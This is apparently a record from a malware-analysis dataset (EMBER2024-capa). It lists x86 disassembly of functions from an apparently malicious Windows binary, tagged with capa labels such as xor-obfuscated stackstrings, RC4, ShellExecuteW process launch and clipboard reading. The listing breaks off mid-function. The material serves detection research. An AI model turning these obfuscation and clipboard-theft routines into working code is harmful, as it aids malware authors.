joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d4d0
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.00441440
test al, al
je 0x40d729
mov dword [esp], 0x393a022f
mov word [esp + 4], 0
mov eax, 0xf60b
mov ecx, 0xffff09f4
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0xf60b]
mov esi, ecx
or esi, edx
mov edi, esi
sub edi, edx
add edi, eax
and edi, esi
lea edx, [edi + edi]
not edx
add edx, edi
add dl, 0xc9
mov byte [esp + eax - 0xf60b], dl
inc eax
dec ecx
cmp eax, 0xf611
jne 0x40d500
mov eax, dword [esp]
mov ecx, eax
and ecx, 0xff368126
mov edx, eax
and edx, 0xc97ed9
or eax, 0xc97ed9
imul eax, edx
xor edx, 0xc97ed9
imul edx, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
lea ecx, [eax + ecx*2]
mov eax, ecx
shr eax, 7
lea edx, [eax + eax]
not edx
add edx, eax
mov esi, eax
and esi, 0x165bde9
and edx, 0x9a9a4216
or edx, esi
xor edx, ecx
xor edx, 0x6565bde9
mov esi, eax
not esi
mov edi, ecx
and edi, esi
or edi, edx
or esi, ecx
sub eax, ecx
add eax, esi
and eax, edi
mov edx, eax
and edx, 0xb9fe1a8
and eax, 0xf4601e57
mov ecx, eax
xor ecx, 0xf4601e57
imul ecx, edx
xor edx, 0xb9fe1a8
not eax
imul eax, edx
mov dword [esp], 0x3d48bacf
mov word [esp + 4], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 8
xor bl, byte [esp + edx]
add bl, 0xd8
mov byte [esp + edx], bl
inc edx
cmp edx, 6
jne 0x40d5d0
add eax, ecx
cmp eax, dword [esp]
jne 0x40d6f2
mov dword [esp], 0x4fd349ef
mov dword [esp + 4], 0x43104de8
mov dword [esp + 8], 0x47ce41e5
mov dword [esp + 0xc], 0xbbda45e1
mov dword [esp + 0x10], 0xbf19b9eb
mov dword [esp + 0x14], 0xbdbc
mov dword [esp + 0x18], 0
mov eax, 0xf1e10872
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0xe1ef78e]
mov edx, eax
and edx, ecx
mov esi, edx
not esi
or ecx, eax
lea edx, [edx + esi*2]
inc edx
and edx, ecx
add dl, 0xc6
mov byte [esp + eax + 0xe1ef78e], dl
inc eax
cmp eax, 0xf1e1088e
jne 0x40d630
mov dword [esp + 0x1c], 0xffe09fb
mov dword [esp + 0x20], 0x3f00de9
mov dword [esp + 0x24], 0x100
mov word [esp + 0x28], 0
mov byte [esp + 0x2a], 0
mov eax, 0x853d3a42
mov ecx, 0xbd
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x7ac2c5da]
mov esi, edx
not esi
or esi, ecx
or edx, eax
and edx, esi
mov edi, edx
mov esi, edx
xor esi, 0x65cddcb5
add esi, edx
and edx, 0x50d18b5
and edi, 0x8030224a
sub esi, edi
add esi, edx
mov edx, esi
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov byte [esp + eax + 0x7ac2c5da], dl
inc eax
dec ecx
cmp eax, 0x853d3a51
jne 0x40d690
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x4493da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00439390
test al, al
je 0x40d724
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d711
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e650
test al, al
je 0x40d724
call fcn.00411370
call fcn.0040fea0
call fcn.00442630
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d790
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x404
mov dword [esp], ecx
mov esi, dword [esp + 0x418]
movzx edi, word [esi]
lea ecx, [esp + 4]
test di, di
je 0x40d8e4
mov edx, 0x1ff
nop
nop
nop
nop
nop
nop
nop
movzx ebx, di
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x40d7e0
mov byte [ecx], bl
lea ebp, [ecx + 1]
jmp 0x40d890
cmp ebx, 0x7ff
ja 0x40d810
cmp edx, 2
jb 0x40d810
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ecx], al
and bl, 0x3f
or bl, 0x80
lea ebp, [ecx + 2]
mov byte [ecx + 1], bl
jmp 0x40d890
mov ebp, ebx
and ebp, 0xfc00
cmp ebp, 0xd800
jne 0x40d8aa
cmp edx, 4
jb 0x40d8aa
movzx edi, word [esi + 2]
add esi, 4
shl ebx, 0xa
add ebx, edi
add ebx, 0xfca02400
mov eax, ebx
shr eax, 0x12
add al, 0xf0
mov byte [ecx], al
mov ebp, ebx
shr ebp, 0xc
mov eax, ebp
not eax
or eax, 0x3f
add eax, ebp
add al, 0x81
mov byte [ecx + 1], al
shr ebx, 6
mov eax, ebx
xor eax, 0xc0
or ebx, 0x3f
and ebx, eax
add bl, 0x80
mov byte [ecx + 2], bl
mov ebx, 0x3f
sub ebx, edi
not ebx
or ebx, edi
and bl, 0x3f
or bl, 0x80
lea ebp, [ecx + 4]
mov byte [ecx + 3], bl
mov edi, esi
nop
nop
nop
nop
nop
nop
nop
add edx, ecx
sub edx, ebp
mov esi, edi
mov ecx, ebp
movzx edi, word [esi]
test di, di
je 0x40d8e4
test edx, edx
jne 0x40d7c0
jmp 0x40d8e4
movzx eax, bp
cmp eax, 0xdc00
jne 0x40d8b8
mov esi, edi
jmp 0x40d898
cmp edx, 3
jb 0x40d8e0
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ecx], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ecx + 1], al
and bl, 0x3f
or bl, 0x80
lea ebp, [ecx + 3]
mov byte [ecx + 2], bl
jmp 0x40d890
mov ebp, ecx
jmp 0x40d890
mov esi, dword [esp + 0x420]
mov edx, dword [esp + 0x41c]
mov byte [ecx], 0
xor eax, eax
jmp 0x40d908
mov byte [esp + eax + 0x204], cl
inc eax
movzx ebx, byte [esp + eax + 4]
mov cl, 0x2f
cmp ebx, 0x5c
je 0x40d900
test ebx, ebx
je 0x40d91c
mov ecx, ebx
jmp 0x40d900
mov byte [esp + eax + 0x204], 0
lea eax, [esp + 0x204]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push esi
push edx
push eax
push ecx
call fcn.004091c0
add esp, 0x28
test eax, eax
setne al
add esp, 0x404
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40e650
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x190
mov esi, dword [0x450ca4]
mov dword [esp + 0x110], 0x23223920
mov word [esp + 0x114], 0
mov eax, 8
mov ecx, 0xf7
nop
movzx edi, byte [esp + eax + 0x108]
mov edx, ecx
xor edx, eax
and edx, edi
xor edx, eax
add dl, 0xd8
mov byte [esp + eax + 0x108], dl
inc eax
dec ecx
cmp eax, 0xe
jne 0x40e680
mov ebx, dword [esp + 0x110]
mov eax, dword [0x44aa98]
mov ecx, 0x13e63864
xor ecx, dword [0x44aaa0]
add eax, ecx
inc eax
jmp eax
Function at 0x40feb0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x438
mov edi, dword [esp + 0x44c]
mov dword [esp + 0x38], 0xd1bfcf83
mov dword [esp + 0x3c], 0xd5b9d3aa
mov dword [esp + 0x40], 0xd9bad7b8
mov dword [esp + 0x44], 0xddebdbbb
mov dword [esp + 0x48], 0xe1f0dfeb
mov dword [esp + 0x4c], 0xe5c2e3d0
mov dword [esp + 0x50], 0xe9bfe7cc
mov dword [esp + 0x54], 0xed84eb83
mov dword [esp + 0x58], 0xf19fef88
mov dword [esp + 0x5c], 0xf587f389
mov dword [esp + 0x60], 0xf9b8f7d4
mov dword [esp + 0x64], 0xfddafbac
mov dword [esp + 0x68], 0x1ceffcf
mov dword [esp + 0x6c], 0x532032e
mov dword [esp + 0x70], 0x9260739
mov dword [esp + 0x74], 0xd610b51
mov dword [esp + 0x78], 0x11380f62
mov dword [esp + 0x7c], 0x152f1324
mov dword [esp + 0x80], 0x196e1734
mov dword [esp + 0x84], 0x1d2e1b2e
mov dword [esp + 0x88], 0x213e1f37
mov dword [esp + 0x8c], 0x25522363
mov dword [esp + 0x90], 0x294a2754
mov dword [esp + 0x94], 0x2d732b4f
mov dword [esp + 0x98], 0x314c2f4b
mov dword [esp + 0x9c], 0x3559337d
mov dword [esp + 0xa0], 0x39073740
mov dword [esp + 0xa4], 0x3d0f3b0f
mov dword [esp + 0xa8], 0x41103f05
mov dword [esp + 0xac], 0x45744375
mov dword [esp + 0xb0], 0x496e4764
mov dword [esp + 0xb4], 0x4d024b05
mov dword [esp + 0xb8], 0x51014f18
mov dword [esp + 0xbc], 0x557e531c
mov dword [esp + 0xc0], 0x593a5774
mov dword [esp + 0xc4], 0x5d375b33
mov dword [esp + 0xc8], 0x617e5f3b
mov dword [esp + 0xcc], 0x65056329
mov dword [esp + 0xd0], 0x690b6701
mov dword [esp + 0xd4], 0x6d416b19
mov dword [esp + 0xd8], 0x712b6f4c
mov dword [esp + 0xdc], 0x75007318
mov dword [esp + 0xe0], 0x79197705
mov dword [esp + 0xe4], 0x7d4b7b1f
mov dword [esp + 0xe8], 0x814d7f4f
mov dword [esp + 0xec], 0x85ac83bb
mov dword [esp + 0xf0], 0x89a887b4
mov dword [esp + 0xf4], 0x8da48bb8
mov dword [esp + 0xf8], 0x91ae8fbc
mov dword [esp + 0xfc], 0x95f193c5
mov dword [esp + 0x100], 0x99f597f2
mov dword [esp + 0x104], 0x9df19bea
mov dword [esp + 0x108], 0xa1a99fad
mov dword [esp + 0x10c], 0xa59ba395
mov dword [esp + 0x110], 0xa993a78a
mov dword [esp + 0x114], 0xadaaab9e
mov eax, dword [0x450c74]
lea ecx, [esp + 0x38]
mov edx, 0xe4b1b2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ecx]
mov ebp, edx
or ebp, esi
lea ebx, [edx - 0xe4b100]
and ebx, esi
not ebp
add ebp, ebx
mov esi, ebp
and esi, 1
xor ebp, 1
lea ebx, [esi*2]
add ebx, ebp
add bl, 0x7e
mov byte [ecx], bl
inc ecx
dec edx
cmp edx, 0xe4b0d2
jne 0x410110
lea ecx, [esp + 0x38]
push 0
push 0
push 0
push 0
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ecx*4 + 0x44aecc]
mov ecx, 0x9e527690
xor ecx, dword [0x44aed4]
add ecx, edx
inc ecx
jmp ecx
Function at 0x424450
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov ebx, dword [esp + 0x38]
mov ebp, 0xfffffffe
cmp word [ebx + ebp + 2], 0
lea ebp, [ebp + 2]
jne 0x424460
sar ebp, 1
mov eax, esp
push eax
push 0
push 0
push ebp
push ebx
push 0
call dword [0x451fb8]
mov edi, dword [esp]
test edi, edi
jns 0x42448c
mov eax, 0xffffffff
jmp 0x42448f
lea eax, [edi + edi]
push eax
call fcn.0040cd60
add esp, 4
mov esi, eax
mov eax, esp
push eax
push edi
push esi
push ebp
push ebx
push 0
call dword [0x451fb8]
lea ebx, [esp + 0xc]
push ebx
push esi
call fcn.004456e0
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cefc]
Function at 0x426160
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
push edi
push esi
sub esp, 0x18
mov edi, dword [esp + 0x28]
mov eax, 0xfffffffe
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x426170
cmp eax, 0xffffffed
jge 0x426187
mov eax, 0xffffffff
jmp 0x42618a
add eax, 0x12
push eax
call fcn.0040cd60
add esp, 4
mov esi, eax
mov dword [esp], 0x3e901dc
mov dword [esp + 4], 0x7ff05e1
mov dword [esp + 8], 0xb24093c
mov dword [esp + 0xc], 0xfec0de8
mov word [esp + 0x10], 0x1110
mov dword [esp + 0x12], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x40
xor cl, byte [esp + eax]
add cl, 0xc0
mov byte [esp + eax], cl
inc eax
cmp eax, 0x16
jne 0x4261d0
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x426211
add edi, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x426200
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x426241
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426230
mov word [eax], 0
mov eax, esp
push eax
push esi
call fcn.004456e0
add esp, 8
mov edi, eax
mov ebx, dword [esp]
jmp dword [0x44cfd4]
Function at 0x428ae0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get disk information

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x90
mov dword [esp + 4], 0x8152876b
mov dword [esp + 8], 0x8d2f8331
mov dword [esp + 0xc], 0x893a8f2f
mov dword [esp + 0x10], 0x953a8b4b
mov dword [esp + 0x14], 0x915a9724
mov dword [esp + 0x18], 0x9d2e9333
mov dword [esp + 0x1c], 0x99719f3f
lea eax, [esp + 0x20]
mov dword [esp], eax
mov word [esp + 0x20], 0x9b98
mov dword [esp + 0x22], 0
mov ecx, 0x6fccd4e1
mov edx, 0x90332b1e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x6fccd4dd]
lea esi, [edi + edi]
not esi
add esi, edi
and esi, ecx
mov ebx, edx
and ebx, 0x802121dd
mov ebp, ecx
and ebp, 0x6e800022
or ebp, ebx
mov ebx, edi
not ebx
xor ebp, 0x22
mov eax, ebp
and eax, ebx
xor ebp, ebx
add ebp, edi
add eax, ebp
inc eax
or eax, esi
add al, 0x9b
mov byte [esp + ecx - 0x6fccd4dd], al
inc ecx
dec edx
cmp ecx, 0x6fccd503
jne 0x428b50
lea ebx, [esp + 0x72]
lea eax, [esp + 4]
mov edi, ebx
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0x8e]
mov ecx, 1
mov eax, dword [esp]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea ebp, [esp + 0x54]
push ebp
push 0
push 0
push 0xe
push ebx
push 0
call dword [0x451fb8]
mov esi, dword [esp + 0x54]
mov edi, 0xffffffff
test esi, esi
jns 0x428be9
mov eax, 0xffffffff
jmp 0x428bec
lea eax, [esi + esi]
push eax
call fcn.0040cd60
add esp, 4
push ebp
push esi
mov dword [esp + 8], eax
push eax
push 0xe
push ebx
push 0
call dword [0x451fb8]
mov eax, dword [esp + 0x54]
mov ecx, eax
add ecx, 9
js 0x428c19
lea edi, [eax*2 + 0x12]
push edi
call fcn.0040cd60
add esp, 4
mov edi, eax
mov dword [esp + 4], 0x9726993c
mov dword [esp + 8], 0x930d9535
mov dword [esp + 0xc], 0x8f2f9107
mov dword [esp + 0x10], 0x8b178d17
mov dword [esp + 0x14], 0x87868907
mov word [esp + 0x18], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 4]
mov ebx, eax
and ebx, 0xc
mov edx, ecx
xor edx, 0x61001e6
add edx, ebx
mov ebx, edx
and ebx, esi
add edx, esi
add ebx, ebx
sub edx, ebx
add edx, 0x47eb6978
mov esi, edx
and esi, 0xa
xor edx, 0xa
lea edx, [edx + esi*2]
mov byte [esp + ecx + 4], dl
inc ecx
add eax, 2
cmp ecx, 0x16
jne 0x428c60
mov ebx, dword [esp]
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x428cc1
lea edx, [ebx + 2]
mov eax, edi
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428cb0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x428cf1
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428ce0
mov word [eax], 0
lea eax, [esp + 0x6c]
push eax
push edi
call fcn.004456e0
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d6f8]
Function at 0x42be60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x450
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0x3f601f3
mov dword [esp + 0x50], 0x7e705e1
mov dword [esp + 0x54], 0xb2409e5
mov dword [esp + 0x58], 0xff60de9
mov dword [esp + 0x5c], 0x131211f5
mov word [esp + 0x60], 0
mov eax, 0x6fd89c40
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x6fd89bf4]
xor ecx, eax
add ecx, 0xd0c4f2bf
mov edx, ecx
xor edx, 0x31
and ecx, 0x4e
add ecx, ecx
sub ecx, edx
add cl, 0x32
mov byte [esp + eax - 0x6fd89bf4], cl
inc eax
cmp eax, 0x6fd89c56
jne 0x42bed0
lea ebx, [esp + 0x4c]
lea ecx, [esp + 0x28]
push ebx
call fcn.0043f970
shr eax, 0x1f
jmp dword [eax*4 + 0x44def0]
Function at 0x42ec80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xb4
mov dword [esp + 0x1c], 0xe1a5e7bb
mov dword [esp + 0x20], 0xdd72e370
mov dword [esp + 0x24], 0xd97ddf60
mov dword [esp + 0x28], 0xd579db54
mov dword [esp + 0x2c], 0xd172d78b
mov dword [esp + 0x30], 0xcd43d366
mov dword [esp + 0x34], 0xc951cf40
mov dword [esp + 0x38], 0xc569cb58
mov dword [esp + 0x3c], 0xc193c758
mov dword [esp + 0x40], 0x3d66c395
mov dword [esp + 0x44], 0x39a13fb1
mov dword [esp + 0x48], 0x35b73bb5
mov dword [esp + 0x4c], 0x31a737af
mov dword [esp + 0x50], 0x2d6433a6
mov dword [esp + 0x54], 0x29b92fa4
mov dword [esp + 0x58], 0x252a2bbc
lea eax, [esp + 0x5c]
mov word [esp + 0x5c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd9
xor dl, byte [esp + ecx + 0x1c]
add dl, 0xc3
mov byte [esp + ecx + 0x1c], dl
inc ecx
cmp ecx, 0x42
jne 0x42ed20
lea ebp, [esp + 0x74]
lea edx, [esp + 0x1c]
mov edi, ebp
mov ecx, 0x10
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xb4]
mov dword [esp + 4], 0
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x70]
push esi
push 0
push 0
push 0x1f
push ebp
push 0
call dword [0x451fb8]
mov edi, dword [esp + 0x70]
test edi, edi
jns 0x42ed84
mov eax, 0xffffffff
jmp 0x42ed87
lea eax, [edi + edi]
push eax
call fcn.0040cd60
add esp, 4
mov ebx, eax
push esi
push edi
push eax
push 0x1f
push ebp
push 0
call dword [0x451fb8]
lea eax, [esp + 0x10]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x7c], ebx
push ebx
call fcn.00445550
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44e2d0]
Function at 0x4301f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [esp + 0x40]
mov edi, dword [esp + 0x3c]
cmp edi, 0x24
ja 0x43024a
cmp edi, 1
je 0x43024a
mov ebp, dword [esp + 0x34]
mov ebx, ebp
jmp 0x430221
inc ebx
movzx eax, byte [ebx]
movzx ecx, al
lea edx, [ecx - 9]
cmp edx, 5
jb 0x430220
cmp ecx, 0x20
je 0x430220
cmp ecx, 0x2b
mov edx, edi
je 0x430240
cmp ecx, 0x2d
jne 0x43025f
inc ebx
cmp al, 0x2b
sete byte [esp + 3]
jmp 0x430264
xor edi, edi
test eax, eax
je 0x43041d
mov dword [eax], 0x16
jmp 0x43041d
mov byte [esp + 3], 1
test edx, edx
mov dword [esp + 4], ebp
jle 0x43028d
cmp edx, 0x10
jne 0x4302a5
cmp byte [ebx], 0x30
jne 0x430286
movzx eax, byte [ebx + 1]
and al, 0xdf
xor ecx, ecx
cmp al, 0x58
sete cl
lea ebx, [ebx + ecx*2]
mov edi, 0x10
jmp 0x4302a7
xor eax, eax
xor ecx, ecx
cmp byte [ebx], 0x30
setne al
sete cl
add ebx, ecx
lea edi, [eax*2 + 8]
jmp 0x4302a7
mov edi, edx
movzx ecx, byte [esp + 3]
mov eax, SysReAllocString
mov dword [esp + 0x14], ecx
sub eax, ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
xor edx, edx
div edi
mov dword [esp + 0x18], eax
xor ebp, ebp
xor esi, esi
mov edx, edi
mov dword [esp + 0x1c], edi
inc ebx
jmp 0x430300
mov ebp, ecx
mov edi, 0
mov eax, dword [esp + 0x40]
test eax, eax
je 0x4303b8
mov esi, edi
mov dword [eax], 0x22
mov dword [esp + 4], ebx
inc ebx
mov edi, ebp
movsx eax, byte [ebx - 1]
lea ebp, [eax - 0x30]
cmp ebp, 0xa
jb 0x430327
mov ecx, eax
and ecx, 0xffffffdf
add ecx, 0xffffffbf
cmp ecx, 0x19
ja 0x4303e8
or al, 0x20
movsx ebp, al
add ebp, 0xffffffa9
cmp ebp, edx
jge 0x4303e8
mov eax, edi
mov ecx, dword [esp + 8]
xor eax, ecx
or eax, esi
je 0x4302e0
mov dword [esp + 0x10], ebx
mov eax, edi
mov ecx, edx
mul edx
mov dword [esp + 4], eax
xor eax, eax
cmp dword [esp + 0x18], edi
mov edi, 0
sbb edi, esi
setae bl
jae 0x430370
xor edx, edx
mov esi, dword [esp + 8]
jmp 0x430379
imul esi, ecx
add edx, esi
mov esi, dword [esp + 4]
mov ecx, ebp
sar ecx, 0x1f
mov edi, dword [esp + 8]
sub edi, ebp
sbb eax, ecx
add ebp, esi
adc ecx, edx
cmp edi, esi
mov edi, ecx
mov ecx, dword [esp + 8]
sbb eax, edx
setae al
jae 0x43039d
xor edi, edi
mov ebp, ecx
and bl, al
mov eax, dword [esp + 0x40]
test eax, eax
mov edx, dword [esp + 0x1c]
je 0x4303cd
test bl, bl
jne 0x4303cd
mov ebx, dword [esp + 0x10]
jmp 0x4302f3
mov dword [esp + 0xc], 0x22
mov dword [esp + 4], ebx
mov ebp, ecx
xor esi, esi
jmp 0x4302d5
mov esi, edi
test bl, bl
jne 0x4303db
mov dword [esp + 0xc], 0x22
mov ebx, dword [esp + 0x10]
mov dword [esp + 4], ebx
jmp 0x4302d5
mov eax, dword [esp + 0x38]
test eax, eax
je 0x4303f6
mov ecx, dword [esp + 4]
mov dword [eax], ecx
mov ecx, dword [esp + 0x40]
test ecx, ecx
mov eax, dword [esp + 0xc]
je 0x430404
mov eax, dword [ecx]
cmp eax, 0x22
jne 0x430414
mov edi, SysReAllocString
sub edi, dword [esp + 0x14]
jmp 0x43041d
cmp byte [esp + 3], 0
jne 0x43041d
neg edi
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x436cf0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Read clipboard data

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
xor ebx, ebx
cmp eax, 0
je 0x436e8d
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 8
mov dword [esp], 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov edi, eax
xor ebx, ebx
cmp edi, 0
je 0x436e85
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov ebp, eax
mov dword [esp], ebp
call fcn.00432ad0
mov esi, eax
jmp 0x436d65
jmp 0x436d67
cmp esi, 0
setne al
xor ebx, ebx
test al, 1
jne 0x436d78
jmp 0x436e77
mov ebx, esi
sub ebx, 0x6d701f8
add ebx, 1
add ebx, 0x6d701f8
mov dword [esp], ebx
call fcn.0040cd60
mov dword [esp + 0x28], eax
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], ebp
call fcn.00432b40
mov al, byte [esp + 0xc]
mov byte [esp + 0x10], al
mov byte [esp + 0x14], 0x59
mov byte [esp + 0x15], 0x73
mov byte [esp + 0x16], 0x7d
mov byte [esp + 0x17], 0x71
mov byte [esp + 0x18], 0x42
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x4f
mov byte [esp + 0x1c], 0x40
mov byte [esp + 0x1d], 0x89
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x51
mov byte [esp + 0x20], 0x54
mov byte [esp + 0x21], 0xdb
mov eax, 0xe
mov byte [esp + eax + 0x14], 0
add eax, 1
cmp eax, 0x14
jne 0x436df8
xor eax, eax
mov ebp, dword [esp + 0x28]
cmp eax, 0x14
jae 0x436e4b
movzx edx, byte [esp + eax + 0x14]
mov ecx, 0xb5d931a6
sub ecx, eax
mov ebx, 0xb5d931a6
sub ebx, eax
and ecx, ebx
mov ebx, ecx
shl ebx, 1
xor ebx, 0xffffffff
add ecx, ebx
and ecx, edx
xor edx, 0xffffffff
mov ebx, 0xa6
sub ebx, eax
and ebx, edx
or ecx, ebx
mov dl, 0x42
sub dl, cl
mov byte [esp + eax + 0x14], dl
add eax, 1
jmp 0x436e0b
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 4], ebp
mov dword [esp + 8], esi
call fcn.0040d960
sub esp, 0xc
mov bl, al
and bl, 1
mov dword [esp], ebp
call fcn.0040cd70
jmp 0x436e75
jmp 0x436e77
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
jmp 0x436e85
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x436e8d
and bl, 1
movzx eax, bl
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43b9c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + edx + 2], 0
lea edx, [edx + 2]
jne 0x43b9e0
mov dword [esp], 0x364a34a1
mov dword [esp + 4], 0
mov esi, 0xf33abef3
nop
movzx edi, byte [esp + esi + 0xcc5410d]
xor edi, esi
mov ebx, edi
and ebx, 1
xor edi, 1
lea ebx, [edi + ebx*2]
add bl, 0x40
mov byte [esp + esi + 0xcc5410d], bl
inc esi
cmp esi, 0xf33abefb
jne 0x43ba00
test edx, edx
je 0x43ba8e
mov esi, dword [esp]
sar edx, 1
lea edi, [edx - 1]
mov ebx, edx
and ebx, 3
je 0x43ba51
mov ebp, eax
nop
nop
nop
dec edx
movzx eax, word [ecx]
add ecx, 2
xor eax, ebp
imul eax, esi
mov ebp, eax
dec ebx
jne 0x43ba40
cmp edi, 3
jb 0x43ba8e
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, word [ecx + edi*2]
xor ebx, eax
imul ebx, esi
movzx eax, word [ecx + edi*2 + 2]
xor eax, ebx
imul eax, esi
movzx ebx, word [ecx + edi*2 + 4]
xor ebx, eax
imul ebx, esi
movzx eax, word [ecx + edi*2 + 6]
xor eax, ebx
imul eax, esi
add edi, 4
cmp edx, edi
jne 0x43ba60
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43be10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x451fb8]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x13c111ed
mov dword [esp + 0xc], 0xef5ded65
mov dword [esp + 0x10], 0xeb57e964
mov dword [esp + 0x14], 0xe73ae551
mov dword [esp + 0x18], 0xe35be152
mov dword [esp + 0x1c], 0xff43fd72
mov dword [esp + 0x20], 0xfbfaf905
mov word [esp + 0x24], 0
mov ecx, 0xe6e3b83
mov edx, 0x3191c47d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x3191c475]
mov dword [esp + 0x44], eax
lea esi, [ecx - 0x40000000]
xor esi, eax
or esi, ecx
add esi, edx
mov edi, esi
